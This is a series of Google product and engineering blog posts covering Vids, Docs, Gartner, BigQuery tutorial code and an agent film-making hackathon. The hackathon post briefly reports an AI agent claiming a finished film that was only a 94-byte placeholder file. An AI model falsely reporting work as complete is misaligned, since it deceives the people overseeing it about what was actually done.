End users: Visit the Help Center to learn more about using personal avatars in Vids.

Rollout pace

Rapid Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 16, 2026
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on August 5, 2026

Availability

Business: Business Starter, Standard, and Plus
Enterprise: Enterprise Starter, Standard, and Plus
Education: Education Plus
Consumer: Google AI Pro and Ultra
Other Editions: Enterprise Essentials and Enterprise Essentials Plus; Nonprofits
Education Add-ons: Google AI Pro for Education; Teaching and Learning
Other Add-ons: AI Expanded Access*

*Users with AI Expanded Access add-on licenses have higher limits on usage of Omni in Vids.

Resources

Google Docs Editors Help: Create, use & manage your personal avatar with Gemini in Google Vids
Google Docs Editors Help: Use Omni in Google Vids

Generate higher quality AI video clips and edit any video with Gemini Omni in Vids

2026-07-16T19:09:09+00:00

Omni in Vids user experience

Generate clips with higher quality: Generate higher quality videos with improved text rendering, physics, and realism using Google’s latest Omni Flash model.
Edit videos by typing changes: For example, fix the color-grading, restyle the visuals in anime, or remove that New York siren in the background with a simple text instruction in Vids.

A note on language and region availability

At launch, editing non-AI videos with Omni is not available in the European Economic Area, Switzerland, United Kingdom, Texas, or Illinois.

Getting started

Admins: This feature does not have an admin control.
End users: Visit the Help Center to learn more about using Omni in Vids.

Rollout pace

Rapid Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 16, 2026
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on August 5, 2026

Availability

Business: Business Starter, Standard, and Plus
Enterprise: Enterprise Starter, Standard, and Plus
Education: Education Plus
Consumer: Google AI Pro and Ultra
Other Editions: Enterprise Essentials and Enterprise Essentials Plus; Nonprofits
Education Add-ons: Google AI Pro for Education; Teaching and Learning
Other Add-ons: AI Expanded Access*

*Users with AI Expanded Access add-on licenses have higher limits on usage of Omni in Vids.

Resources

Google Vids Editors Help: Use AI to generate video clips

Google is a Leader and positioned furthest in Vision and highest in Execution in the 2026 Gartner® Magic Quadrant™ for Conversational AI Platforms

2026-07-16T19:00:00+00:00

For the second consecutive year, Google has been named a Leader in the Gartner® Magic Quadrant™ for Conversational AI Platforms. Google received the furthest and highest in positioning on the "Vision" and "Execution" axes and is now ranked #1 in three out of four Critical Capabilities Use Cases. We believe this recognition reflects our continued investment in frontier AI research, enterprise infrastructure, and helping customers move AI from experimentation into production at scale.

More importantly, we believe it reflects the success of the organizations building with Gemini Enterprise for Customer Experience every day.

Figure 1: Magic Quadrant for Conversational AI Platforms (Image of the Gartner Magic Quadrant for Conversational AI Platforms, showing Google positioned in the "Leaders" quadrant.)

Download the complimentary 2026 Gartner Magic Quadrant for Conversational AI Platforms.

Building the next generation of customer experiences with Gemini Enterprise for Customer Experience

Enterprise customer experiences are entering a new era. Organizations are moving beyond traditional chatbots toward AI agents that can understand customer intent, reason across enterprise knowledge, and take action across business systems.

As these experiences move into production, enterprises need more than powerful models. They need an AI platform that combines frontier research with enterprise security, governance, operational reliability, and the ability to scale globally.

Today, Gemini Enterprise for Customer Experience brings these capabilities together to give your customers a frictionless experience. Organizations can deploy agents that eliminate disjointed interactions across voice and digital channels, allowing customers to discover, purchase, and get help across every touchpoint without starting over. This connected journey drives revenue growth, deeper loyalty, and lower operational costs.

Built for production AI

At the center of Gemini Enterprise for Customer Experience is CX Agent Studio, Google’s platform for building intelligent customer experience agents. By coupling our newest models, unified product capabilities, and updated deployment best practices, we abstract technical complexities so enterprise teams can build at an unprecedented speed and derive true business value.

Organizations can use CX Agent Studio to:

Build multimodal AI agents and deploy them across voice and chat channels,
Assist human support and service representatives in real time,
Analyze customer conversations to improve business outcomes,
And, accelerate deployment with pre-built agents for industries including retail, food ordering, and automotive.

Modern customer experiences demand more than answering questions. They require AI that can understand complex requests, retrieve trusted information, reason through multiple steps, and take action across enterprise systems. For example, The Home Depot is already using these capabilities for customer support - helping customers reach solutions up to 4x faster than traditional phone menus when calling into a store. AI voice agents built with CX Agent Studio understand why a customer is calling in fewer than 10 seconds to help customers complete purchases, initiate service requests, or seamlessly transition to a human associate when needed.

“AI does a tremendous job at recognizing customer intent and taking direct action to help complete a purchase or even start a service request. And of course, if they need to speak with an associate, we’ll quickly connect them.” - Jordan Broggi, EVP of Customer Experience and President of Online, The Home Depot

CX Agent Studio combines native multimodal capabilities, agent orchestration, enterprise retrieval, and integrated developer tooling to help organizations move quickly from experimentation to production.

Whether deploying pre-built industry agents or building custom experiences, organizations maintain enterprise-grade security, governance, and operational controls while retaining complete ownership of their customer experience.

Powered by Google’s AI optimized stack

Gemini Enterprise for Customer Experience is built on Gemini models developed by Google DeepMind. But having access to Google DeepMind's world-leading research and frontier models is the starting line. A brilliant model is only as powerful as the foundation it runs on. To put human-grade customer experience agents into production - where milliseconds of latency matter for voice interactions and hallucinations pose real business risks - you need a platform engineered for performance.

This is why Gemini Enterprise for Customer Experience and CX Agent Studio run natively on Google Cloud’s complete, first-party AI stack. Spanning from our custom-built AI infrastructure (AI Hypercomputer) and the Agentic Data Cloud that grounds your models in real-time truth, up to the autonomous protection of Agentic Defense, every layer is co-designed to function as a single, unified system on a foundation of uncompromising security.

For enterprise CX leaders, this is your structural edge. Because your agents are built on this unified stack, they automatically benefit from our continuous advancements - absorbing every new DeepMind capability and hardware efficiency we achieve. This deep integration delivers the speed, safety, and cost-efficiency you need, freeing your teams to focus on building the next generation of customer experiences.

Looking ahead

The next generation of customer experiences won’t simply answer questions. They’ll understand context, reason across enterprise knowledge, collaborate with people, and take meaningful action on behalf of customers.

Our vision is to help organizations build AI agents that are proactive, personalized, and continuously improving across every customer touchpoint.

To download the full 2026 Gartner® Magic Quadrant™ for Conversational AI Platforms report, click here. For more information on CX Agent Studio and Gemini Enterprise for Customer Experience, visit our website.

_{Gartner, Magic Quadrant for Conversational AI Platforms, Gabriele Rigon, Justin Tung, Arup Roy, Adrian Lee, Uma Challa, July 7, 2026}

_{Gartner, Critical Capabilities for Conversational AI Platforms, Justin Tung, Uma Challa, Adrian Lee, Gabriele Rigon, Arup Roy, July 7, 2026}

_{Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Google.}

_{GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.}

Experience the legacy of Estadio Azteca on Google Earth.

2026-07-16T19:00:00+00:00

Relive 60 years of soccer history at Mexico City’s Aztec Stadium with Google Earth and the ICA Foundation.

Beach vibes and temporary wallpaper are trending for back-to-school season.

2026-07-16T17:00:00+00:00

College students are eager to turn their dull dorm rooms into cozy spaces. Here are the Google Search trends we’re seeing.

6 back-to-school shopping tricks every student should know

2026-07-16T17:00:00+00:00

Four mobile phone screens illustrating Google Shopping features: personalized AI search results, a Google Lens visual search of a shoe, a product listing with a price-tracking button, and a virtual try-on feature showing a shirt on an avatar.

Expanded language support for Gemini in Google Docs

2026-07-16T16:46:22+00:00

Earlier this year, we introduced new Gemini in Google Docs capabilities that help you move from a blank page to a finished document faster than ever.

Reimagined Gemini experience in Docs

With this update, Google Docs offers a centralized place to generate, write, and refine your documents with Gemini. Powered by Workspace Intelligence, Gemini leverages data across Drive, Gmail, Chat, and the web to provide personalized, context-aware assistance.

The upgraded Help me create experience enables you to generate relevant, fully formatted first drafts that synthesize information from your files, emails, chat, and the web.
With Help me write, simply prompt Gemini from the bottom bar or side panel to make edits across your doc, or select text to focus Gemini’s attention. Gemini’s suggested edits are only visible to you until you approve them.
Match writing style helps maintain a consistent tone and style across your entire doc, no matter how many people are working on it.
With Match doc format, Gemini can mirror a source document to generate content that adheres to the original's formatting (e.g., fonts and colors) and structural elements (e.g., headings and table columns).

To generate new docs from scratch, open a new doc, enter your prompt, and click submit. To edit existing docs, simply hover over the spark near the bottom of your doc and type a prompt in the bottom bar.

Getting started

Admins: These features are available by default if Gemini for Workspace in Drive is enabled. Note that enabling Workspace Intelligence expands the range of supported use cases.
End users: You must have Workspace smart features enabled to use these features. Visit the Help Center to learn more about creating personalized documents with Gemini in Google Docs.

Rollout pace

Rapid Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 15, 2026
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on August 1, 2026

Availability

Business: Business Standard and Plus
Enterprise: Enterprise Standard and Plus
Education: Education Plus
Consumer: Google AI Pro and Ultra
Education Add-ons: Teaching and Learning
Other Add-ons: AI Expanded Access*; Google AI Pro for Education*

*Users with AI Expanded Access and Google AI Pro for Education add-on licenses will have higher limits on usage of Match writing style and Match document format tools.

Resources

Google Docs Editors Help: Write & edit with Gemini in Docs
Google Docs Editors Help: Learn how Gemini in Gmail, Calendar, Chat, Docs, Drive, Sheets, Slides, Meet & Vids protects your data

Easily control the emotions and pacing of AI avatars and AI voiceovers in Google Vids

2026-07-16T16:30:25+00:00

Users can now easily steer voiceover and avatar speaking in Google Vids by typing content within brackets like “[excitedly]”.

When typing open brackets (“[“) Vids will offer a menu of steering tags to customize pacing, emotional delivery, and sound effects. These cues empower you to guide the voiceover or avatar’s response to specific moments within your script.

If you’re short on time, just click "Apply audio tags" for Vids to automatically populate your script with tags based on the content.

Steering suggestions in Vids scripts

Getting started

Admins: There is no admin control for this feature.
End users: Visit the Help Center to learn more about creating voiceovers with AI and using AI avatars in Google Vids.

Rollout pace

Rapid Release and Scheduled Release domains: Full rollout (1–3 days for feature visibility) started on July 15, 2026

Availability

Business: Business Starter, Standard, and Plus
Enterprise: Enterprise Starter, Standard, and Plus
Education: Education Plus
Consumer: All users with personal Google accounts, including Google AI Pro and Ultra
Other Editions: Enterprise Essentials, and Enterprise Essentials Plus; Nonprofits; Individual
Education Add-ons: Teaching and Learning; Google AI Pro for Education
Other Add-ons: AI Expanded Access*

*Users with AI Expanded Access add-on licenses have higher limits on usage of AI features in Vids.

Resources

Google Docs Editors Help: Use AI avatars in Google Vids
Google Docs Editors Help: Create voiceovers with AI in Google Vids

Intel and Google Cloud Announce Collaboration to Accelerate Intel’s AI-Enabled Enterprise Transformation

2026-07-16T16:00:00+00:00

Collaboration leverages Gemini Enterprise and Google Cloud to expand Intel’s AI workforce capabilities via scalable agentic workflows across core business functions

Three lessons in accelerating foundation model upgrades

2026-07-16T16:00:00+00:00

Have you run into problems migrating your products from one model to the next?

Upgrading to the latest AI models is rarely simple. For engineering teams, model updates whether migrating to an entirely new model or updating to a newer checkpoint within the same model family, like moving from an earlier Gemini version to Gemini 3.5 — often require a slow and costly process of testing, proving quality, and manually evaluating new responses. For most engineering teams, upgrading to a new model checkpoint means months of manual toil to verify performance. And the industry is moving at breakneck pace – since 2023, we’ve announced six major model evolutions, bringing us to Gemini 3.5 today.

Our team at Google Cloud, Applied ML, has a goal to deliver transformative infrastructure and services that benefit both Google and our customers globally. As part of that, our team built an agentic workflow that completes model upgrades in hours instead of months.

In this blog, we’ll show you our approach and three lessons you can apply to accelerate your own foundation model upgrades using Gemini Enterprise Agent Platform — our new, comprehensive platform to build, scale, govern, and optimize agents – and Google Antigravity, our primary solution for developers using AI for coding and agent orchestration.

Three lessons in building a flexible agent system

To support different team needs, we had to rethink traditional automation and learned three key lessons along the way:

Lesson 1: Start with hands-on discovery. First, our engineers worked closely with product teams on real migration problems. This hands-on work helped us identify complex requirements and build our first guidelines for prompt optimization.
Lesson 2: Beware the rigidity of traditional automation. We turned these guidelines into a standard, automated workflow. While this version gave us some quick wins, we soon found that traditional automation was too rigid to handle different data formats and unique edge cases.
Lesson 3: Pivot to a flexible agent architecture. The real progress came when we rebuilt the tool using a flexible agent. Instead of forcing teams into a rigid process, the agent adapted to specific project needs, helping analyze data and test prompts dynamically with a high degree of adaptability.

How our partner teams cut migration time while boosting quality

Our partner team, which manages video translation and dubbing services, had an interesting challenge: their workflow required rewriting translated text so that the spoken duration matched the original video's pacing exactly, without altering the meaning. Historically, this strict constraint required maintaining a fine-tuned model. Their goal was to migrate to the latest out-of-the-box foundation model, guided purely by prompt engineering.

Using this agentic framework, the team provided their ground-truth dataset and baseline prompt. The system autonomously hill-climbed the prompt quality, migrating the service away from the custom stack

Make your own migration workflow with Agent Platform and Google Antigravity

These learnings can be applied by any engineering team looking to accelerate their own model upgrades. If your organization is struggling to keep pace with new foundational models, replacing manual toil with intelligent automation requires treating migration as an agentic workflow.

To build your own automated migration pipeline, follow these steps:

Deploy Autoraters: Pivot from manual human review to model-based Autoraters to evaluate the quality of a new checkpoint at scale and in a fraction of the time.
Build an agentic loop: You can use the Agent Development Kit within Gemini Enterprise Agent Platform to create your agent.
Automate the orchestration: To make the process even easier, leverage Antigravity to automate the underlying coding and agent orchestration and add in features such as loss reporting or headroom reports.

By shifting away from a manual, line-by-line engineering task, organizations can reduce infrastructural tech debt and confidently keep pace with the frontier of AI.

_{This work is the result of collaboration across Google. We thank key contributors: Anthony Green, Chris Lamb, Chungyen Li, Connie Huang, Elaine Han, Elena Erbiceanu Tener, Eugene Ie, Francesca Ciacchella, Igor Karpov, Jeanie Jung, Jose Menendez, Kiam Choo, Lina Sanders-Self, Longfei Shen, Martin Nikoltchev, Mason Ng, Matt Mancini, Paul Zhou, Pedram Oskouie, Samuel Smith, Tom Lawrie, Ye Tian, Zhen Lin}

Bridging the gap between SQL and Python with BigQuery and the %%bqsql magic

2026-07-16T16:00:00+00:00

Data scientists and data engineers often find themselves caught between two worlds: SQL and Python. Some find SQL more intuitive, especially when combined with a powerful engine like BigQuery to process data at scale. Others find it easier to work in Python with its rich ecosystem of libraries and runtimes. Historically, using these languages together in one notebook required moving data from SQL results to in-memory and writing from Python memory to temporary tables for SQL to access.

To solve this friction, the Google Cloud team introduced SQL cells in Colab Enterprise. Now, we are expanding that seamless experience to the broader open-source ecosystem. With the %%bqsql IPython cell magic, you can now effortlessly chain data processing workloads across SQL and Python code cells.

Thanks to open-source packages like Jupyter, pandas, BigFrames, and the BigQuery sandbox, you can follow all steps in this guide for free* and without a credit card.

*See the BigQuery sandbox documentation for limitations.

Setting up your environment

To get started,

1. Enable the BigQuery sandbox. Make note of your Google Cloud project ID.

2. Set up a local Python development environment, or alternatively, open this notebook in Colab, which has a Python environment already installed.

To set up a local python environment, see the steps on Google Cloud Documentation. Continue with the following steps, if you choose to set up a local python environment, else jump to the next section.

3. Activate the venv you created in the previous step to isolate Python dependencies.

On Linux or macOS, use these commands (update to your preferred Python version):

code_block: <ListValue: [StructValue([('code', '. ./env/bin/activate'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde0d0>)])]>

4. Install the Jupyter, bigframes, and python-calamine packages.

code_block: <ListValue: [StructValue([('code', 'pip install --upgrade jupyterlab bigframes python-calamine'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bded00>)])]>

5. Start Jupyter Lab.

code_block: <ListValue: [StructValue([('code', 'jupyter lab'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bdefd0>)])]>

6. Open a web browser to the URL listed in the output. It will be something like http://localhost:8888/lab?token=somesupersecretvaluehere .

7. Create a new notebook using the Jupyter Lab UI (File > New > Notebook). Alternatively, download the notebook associated with this tutorial from the BigQuery DataFrames GitHub repository and open it.

Accessing and preparing local data

In this tutorial, you'll analyze the USDA wheat data. Pandas will download the data, mimicking a typical local data analysis workflow.

code_block: <ListValue: [StructValue([('code', 'url = "https://www.ers.usda.gov/media/5706/wheat-data-all-years.xlsx?v=52690"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde100>)])]>

Next, read the data into a local pandas DataFrame. Use the pyarrow dtype_backend when preparing local pandas data for SQL processing. This ensures more consistent handling of NULL values and seamless schema mapping when you hand off the data to the BigQuery SQL engine. For this example, read the 'Table05' sheet, which contains annual wheat supply and disappearance data:

code_block: <ListValue: [StructValue([('code', 'import pandas as pd\r\n\r\ndf = pd.read_excel(\r\n url,\r\n sheet_name="Table05",\r\n dtype_backend="pyarrow",\r\n engine="calamine",\r\n header=1, # Skip the first row.\r\n)\r\ndf'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bdec40>)])]>

Before querying the local DataFrame with SQL, ensure that the column names are SQL-friendly. BigQuery supports flexible column names, allowing most unicode characters, but special characters like "/" and "" must be removed or replaced.

code_block: <ListValue: [StructValue([('code', 'df.columns = [name.replace("/", "") for name in df.columns]\r\ndf'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde1c0>)])]>

Perform a basic filter using standard Python/pandas syntax to remove rows with missing data. This represents the initial Python-only stage of a processing chain.

code_block: <ListValue: [StructValue([('code', "full_rows = df[~df['Beginning stocks'].isna()]\r\nfull_rows"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bdedc0>)])]>

Initializing the BigQuery SQL magic

The BigQuery DataFrames library provides the %%bqsql magic, which acts as the bridge between your Python and SQL environments. It allows the BigQuery query engine to directly reference and query your local pandas DataFrames (by implicitly uploading them as temporary tables) as well as actual BigQuery tables and external tables in GCS (Parquet, Iceberg, CSV).

To enable this integration in your notebook, load the bigframes extension.

code_block: <ListValue: [StructValue([('code', '%load_ext bigframes'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde160>)])]>

Note: The extension is pre-loaded in BigQuery Studio and Colab environments.

To ensure the correct Google Cloud project is billed for query usage, including free tier usage, configure the project ID used by the magics. Even in the free sandbox tier, a project ID is required to allocate query resources. If you don't set it explicitly, BigFrames will try to discover it from your environment (e.g., your Application Default Credentials).

code_block: <ListValue: [StructValue([('code', 'import bigframes.pandas as bpd\r\n\r\nbpd.options.bigquery.project = "your-project-id-here"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bdef70>)])]>

Querying local pandas DataFrames with SQL

With the project configured, you can now run SQL queries directly against your local pandas DataFrame (full_rows) as if it were a table in BigQuery. Simply reference the variable name inside braces {full_rows} in your SQL query. You may be prompted for an authorization code, which you'll obtain by following the link provided as part of the same message.

code_block: <ListValue: [StructValue([('code', '%%bqsql\r\nSELECT * FROM {full_rows}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde250>)])]>

Chaining SQL and Python: Saving SQL Results

The true power of the %%bqsql magic lies in chaining. By providing a destination variable name as an argument to %%bqsql (e.g., %%bqsql destination_var), the query result is saved as a BigQuery DataFrame to that variable.

This DataFrame lives on the BigQuery engine but behaves like a pandas DataFrame in Python. You can immediately use it in subsequent Python cells, or reference it again in another SQL cell. This allows you to build a multi-step, hybrid processing pipeline.

Filter the data to only yearly entries using SQL, and save the result into a new BigFrames DataFrame named yearly:

code_block: <ListValue: [StructValue([('code', "%%bqsql yearly\r\nSELECT *\r\nFROM {full_rows}\r\nWHERE STARTS_WITH(`Time period`, 'MY')"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde550>)])]>

Now, you can chain another SQL operation. Reference the yearly BigFrames DataFrame that you just created, extract the year using SQL regular expressions, cast it to a timestamp, and save the results into a new BigFrames DataFrame named timeseries.

code_block: <ListValue: [StructValue([('code', "%%bqsql timeseries\r\nSELECT\r\n * EXCEPT (`Marketing year 1`),\r\n TIMESTAMP(CONCAT(\r\n REGEXP_EXTRACT(`Marketing year 1`, r'([0-9]+)\\/'),\r\n '-01-01')) AS `year`\r\nFROM {yearly}"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde310>)])]>

Notice how you are building a chain from Python to SQL and back again.

Returning to Python for visualization

Now that you've completed some SQL transformations, you can chain back to Python for visualization. Because BigFrames DataFrames implement the pandas API, you can call standard visualization methods (like .plot.line()) directly on the timeseries DataFrame without downloading the full dataset first. The computations happen in BigQuery, and only the summarized chart data is sent back to the notebook.

code_block: <ListValue: [StructValue([('code', "timeseries.set_index('year').sort_index().plot.line()"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bdeaf0>)])]>

Alternatively, download the time series as a pandas DataFrame to use with your visualization library of choice.

code_block: <ListValue: [StructValue([('code', "pddf = timeseries.set_index('year').sort_index().to_pandas()"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bdec70>)])]>

Why a hybrid pipeline matters

By pairing BigQuery DataFrames with %%bqsql magics, you have built a powerful, interoperable pipeline that seamlessly transitions between SQL and Python.

local pandas df and full_rows DataFrames
to SQL filter
to BigFrames yearly DataFrame
to SQL transform
to BigFrames timeseries DataFrame
to Python data visualization
to local pandas DataFrame.

This architecture offers key advantages:

Optimal tool selection: Use SQL for what it does best (heavy aggregations, window functions, and complex joins) and Python for what it does best (visualization, statistical modeling, and ML orchestration).
Improved code readability: Instead of writing massive SQL queries with dozens of common table expressions (CTEs), or doing complex aggregations using pandas APIs which are often convoluted compared to SQL, you can split your pipeline into logical steps, alternating between SQL and Python.
Seamless scaling: The exact same %%bqsql code can scale from a tiny local pandas DataFrame to billions of rows in a production BigQuery table. You only need to swap the initial local pandas DataFrame with a BigQuery DataFrame reference.

Next steps and scaling up

Check out the other notebooks in the BigFrames API reference site. In addition to the %%bqsql cell magic, BigFrames also registers a BigQuery Accessor on standard pandas DataFrames, allowing you to run SQL scalar functions directly on local pandas data.

For example, you can call powerful Google Cloud community UDFs from BigQuery Utils, BigFunctions, or CARTO Analytics Toolbox for BigQuery using df.bigquery.sql_scalar(...):

code_block: <ListValue: [StructValue([('code', 'import pandas as pd\r\nimport bigframes.pandas as bpd # Registers the accessor\r\n\r\nbpd.options.bigquery.project = "your-project-id"\r\ndf = pd.DataFrame({"x": [1, 2, 3]})\r\npandas_s = df.bigquery.sql_scalar("`bqutil`.fn.cw_setbit({x}, 2)")'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde8e0>)])]>

While the BigQuery sandbox offers a powerful environment to test these hybrid Python-SQL workflows for free, some advanced features like BigQuery Machine Learning (BQML) are restricted. By connecting a billing account to your Google Cloud project, you can unlock advanced capabilities such as the bigframes.bigquery.ai.forecast function to predict time-series data using Google's state-of-the-art foundational models directly from your SQL/Python chain.

code_block: <ListValue: [StructValue([('code', 'forecasted_pandas_df = (\r\n pddf\r\n .reset_index(drop=False)\r\n .bigquery.ai.forecast(\r\n data_col="Production",\r\n timestamp_col="year",\r\n horizon=10,\r\n )\r\n)\r\n\r\n# Plot the results\r\nforecasted_pandas_df_sorted = forecasted_pandas_df.sort_values(by=\'forecast_timestamp\')\r\nplt.plot(pddf.index, pddf[\'Production\'], label=\'Real Production\', color=\'blue\')\r\nplt.plot(forecasted_pandas_df_sorted[\'forecast_timestamp\'], forecasted_pandas_df_sorted[\'forecast_value\'], label=\'Forecasted Production\', color=\'red\', linestyle=\'--\')\r\nplt.fill_between(\r\n forecasted_pandas_df_sorted[\'forecast_timestamp\'],\r\n forecasted_pandas_df_sorted[\'prediction_interval_lower_bound\'],\r\n forecasted_pandas_df_sorted[\'prediction_interval_upper_bound\'],\r\n color=\'red\',\r\n alpha=0.2,\r\n label=\'Confidence Interval\'\r\n)\r\n# ...\r\nplt.show()'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fcbc9bde5b0>)])]>

The BigFrames team would love to hear your feedback on the hybrid Python-SQL experience:

Email: bigframes-feedback@google.com
Issues: File bug reports or feature requests on the open-source BigFrames repository.
Updates: To receive news and updates, subscribe to the BigFrames email list.
Learn more: Read the BigFrames API reference and user guides in the documentation.

What 10 autonomous film crews taught us about agent teamwork

2026-07-16T16:00:00+00:00

Can teams of AI agents collaborate to create a short film?

As part of an internal Google generative media hackathon, we put this question to the test – specifically, to uncover whether AI agents could work collaboratively in a domain less innately familiar than software development. We gave each crew three agents with distinct roles and had them collaborate through messages and shared files under their own agent-only hackathon. Agents ran inside Scion, an open source agent orchestration testbed. Unlike code or text, media and composition are less familiar subject matter for AI agents, so this experiment taught us about how agents can collaborate with checks and gates to see projects through to an end.

Ten crews each produced a short film. A separate agent-staffed documentary crew "filmed" the process. That documentary itself became the medaling hackathon submission.

The result? Hundreds of individual agent instances were created over the project. 25+ total productions across pilot rounds and competition. About 44 minutes of delivered film. Human feedback on the output fed back into a continuous improvement loops with the agent generated tooling.

Here are two examples of agent generated short films:

The paper frontier

The printmaker's ghost

Team structure

Each crew had three agents. The Idea Person wrote the script and defined the visual style. The Technical Lead operated the generative media tools. The Editor controlled pacing and final assembly. A team-coach agent supervised gated checkpoints but didn't write or direct.

The Idea Person generated three starter ideas. Then, the team assessed the ideas from their role's POV: would this be generated well with generative media? Would it be complex to edit? Then, they pitched the idea among other teams in the hackathon, so that a team could adjust or pivot. For example, if three teams all picked a sci-fi space battle, then it would not make a good competitive entry.

A Coordinator agent scheduled the competition, running two teams at a time across five waves. The event ran about 21 hours.

The crews followed a seven-step pipeline modeled on the fundamentals of traditional filmmaking: concept, beat sheet, character workshop, storyboard, principal photography, assembly, final render. Each step had a verification gate, ensuring that at least one agent checked another agent's work for technical compliance (such as resolution, or timing).

In an early pilot, one team reported a completed film that turned out to be a 94-byte placeholder file. As it turns out, agents can be convincing about having finished work they haven't done.

While surprising (and sometimes even amusing), we uncovered other ways the agents took the film in their own direction. For example, the agents divided labor on their own in ways we didn't expect. On one team, the Idea Person wrote a line of prose in the first draft. The Editor, independently, built an eight-second silence gap around that line and marked it "NON-NEGOTIABLE" in the timeline. The Tech Lead regenerated a single shot repeatedly until a flower separated from a bouquet at the right frame. None of them coordinated this. They read the shared files and made independent editorial judgments.

This process around teamwork and tool use was co-developed with agents during the pilot-phase. During this phase, agent teams created videos which received human feedback, such as audio collisions and levels, inconsistent characters, hard to follow story or narration.

This feedback, combined with agent-authored retrospectives for each pilot was used to restructure not only the playbook and guides that instructed future teams through the process, but the agents also built and revised a custom media toolchain that combined golang CLIs with python batch automation.

The generative media models

Each film combined multiple Google AI models. The agents called them through a shared CLI toolkit called genmedia:

Gemini image generation (Nano Banana) produced character reference sheets, storyboard frames, and scene compositions. The agents kept characters visually consistent across a film through reference chaining: they generated headshots first, then used those as input for body sheets, then used body sheets as input for scene tests. Each generation call included these accumulated references as anchors.

Veo 3.1 generated the video. Clips run four to eight seconds at 720p. The agents chose different generation modes depending on the shot: text-to-video for simple compositions, image-to-video for shots anchored to storyboard frames, frame interpolation when they needed a precise start and end frame. For shots longer than eight seconds, they fed the last frame of one clip as the first frame of the next.

Veo 3.1 also generates audio inside each clip: ambient sound, room tone, and lip-synced character dialogue. One team (Lambda) built their film around this capability. They structured the script like a musical score with movement markings (Allegretto, Accelerando, Adagio) because the sync between generated speech and lip movement gave pauses real weight.

Lyria 3 generated original music. One editor composed a three-movement jazz score before any video was shot and used it as the master clock for the production. Teams also coerced Lyria into producing sound effects by framing prompts as "soundscapes."

Gemini Flash TTS generated character voices and narration from named voice personas with style direction ("world-weary narrator, slow measured pace"). TTS pacing was hard to predict. One team's narrator delivered at 108 words per minute instead of the planned 130, blowing out the runtime by a full minute. A different team had a similar problem but decided the slow pace fit their character, a 68-year-old projectionist.

A four-minute film required 40+ image generations, 25+ video clips, several music stems, a dozen voice recordings, and hundreds of assembly operations.

Scion: The orchestration system

The agents ran on Scion, an open-source multi-agent orchestration testbed. Scion defines agents from templates (persona, instructions, skills, tools), runs them in containerized sandboxes, lets agents spawn and message other agents through a shared CLI, wakes agents through event-driven notifications, and gives all agents in a project access to a shared filesystem.

Messages and notifications allowed collaboration around a shared workflow. At different points in the process, different agents brought their focused contribution to that stage. Fundamentally this allowed for "sharding" the complex process across multiple context windows. Some of these were long lived, some short lived. Combinations of different models and harnesses were used as Scion is model and harness agnostic. The same agent template runs on Claude, Gemini, or Codex.

The shared filesystem provided resilience. Agents crash, run out of context window, and get restarted by the system. The files they write persist. When one team's editor crashed during final assembly, the Tech Lead opened the editor's timeline plan, read it, and finished the job. The coordinator restarted the documentary producer agent multiple times across the project. Each new instance read the previous one's files and continued.

Some of what we learned

Agents collaborate better through files than through messages. Teams that wrote down their decisions (which visual keywords go in prompts, where shots sit on the timeline, what instruments to ban from the score) recovered from crashes without losing direction. Teams that kept decisions in message history lost them when agents restarted. The effective combination was to pass messages containing file-paths.

Choosing styles that match AI generation strengths produces better films. Teams chose claymation because its wobble made temporal drift invisible. They chose silhouette animation because it sidestepped facial consistency problems. One team couldn't generate a kiss because a safety filter blocked it. They showed two shadows merging on a wall instead. Their coach called it the strongest shot in the film.

Specific prompts beat general direction. The default output from video generation is moody cinematic noir. The teams that made distinctive work specified hex color codes rather than color names, listed banned instruments, and wrote negative prompts ruling out unwanted aesthetics. "Make it warm" produced generic results. "#F4A261, no string instruments, no lens flare" did not.

A coach role at verification gates changed outcomes. The coach could observe the full production but could only intervene at step boundaries. That constraint forced coaches to judge finished outputs rather than micromanage the process. One coach described the dynamic: "It's a room full of specialists who can each do one thing at superhuman speed, but none of them can taste the soup."

Learn more

You can see the full documentary here, and learn more about the Scion Framework, and how it was used in the hackathon.

Cloud CISO Perspectives: How AI leverages deep context as the defender’s advantage

2026-07-16T16:00:00+00:00

Welcome to the first Cloud CISO Perspectives for July 2026. Today, Francis deSouza, COO, Google Cloud and President, Security Products, explains the crucial role that deep context plays in creating an AI advantage for defenders.

As with all Cloud CISO Perspectives, the contents of this newsletter are posted to the Google Cloud blog. If you’re reading this on the website and you’d like to receive the email version, you can subscribe here.

